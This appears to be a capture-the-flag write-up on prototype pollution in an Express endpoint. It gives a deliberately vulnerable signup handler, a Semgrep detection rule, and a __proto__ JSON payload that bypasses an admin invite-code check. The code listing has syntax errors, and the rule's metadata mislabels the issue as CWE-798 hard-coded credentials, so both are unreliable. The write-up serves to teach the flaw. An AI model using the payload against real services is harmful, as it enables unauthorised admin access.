Challenge Link.
Vulnerable Code
const express = require('express');
const BodyParser = require('body-parser');
const { inviteCode } = require("./secret");
const app = express();
app.use(BodyParser.text());
const port = 3000;
const baseUser = { "picture': default.png"}
function CreateAdmin(user);
function CreateUser(user);
app.post("/" (req, res) => {
let user = JSON.parse(req.body);
(if user.isAdmin && user.inviteCode !== inviteCode){
res.send("No Invite Code, No admin");
} else {
let newUser = Object.assign(baseuser, user);
if(newUser.isAdmin) createAdmin(newUser);
else createUser(user);
res.send("Succesfully created Admin" + ${newUser.isAdmin ? 'Admin': 'User'})
}
})
Semgrep Rule
rules:
- id: basic-Prototype_pollution-check
pattern: $X = JSON.parse($V);
...
$E = Object.assign(..., $X);
message: |
$X is used in JSON.parse($V); then parsed to $E = Object.assign($X); this could lead to prototype pollution.
languages: [js, ts]
severity: WARNING
metadata:
cwe: "CWE-798: Use of Hard-coded Credentials"
category: security
technology:
- jwt
- nodejs
- secrets
license: Commons Clause License Condition v1.0[LGPL-2.1-only]
The goal of this challenge is to become the admin user, but there are some checks which needs to be bypassed.
If we set the `isAdmin:true` in our request body, this if condition will evaluate to true and this error will be return *No Invite code? No admin*
As we don't know the correct `inviteCode` the second condition will always be true.
```js
if(user.isAdmin && user.inviteCode !== inviteCode)
But if we set the isAdmin:false in our request body, the else part of the code gets execute but we wonβt be an admin user (the createAdmin method is only called when isAdmin:true is there)
In order to circumvent both the checks we will exploit the prototype pollution vuln which is on this line:
user = JSON.parse(req.body)
let newUser = Object.assign(baseUser, user)
We have full control over the user variable so by passing this in the request body will solve the challenge:
{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}
>let user = JSON.parse('{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}')
>user.isAdmin
undefined
>user.__proto__.isAdmin
true
user.isAdmin returns undefined (in AND operation if any of the two conditions returns false , the end result will be false ), so the else part is executed.
let newUser = Object.assign(baseUser, user)
>newUser.__proto__.isAdmin
true
>newUser.isAdmin
true
Due to the prototype pollution vuln , newUser.isAdmin will return true and the CreateAdmin method will be called.
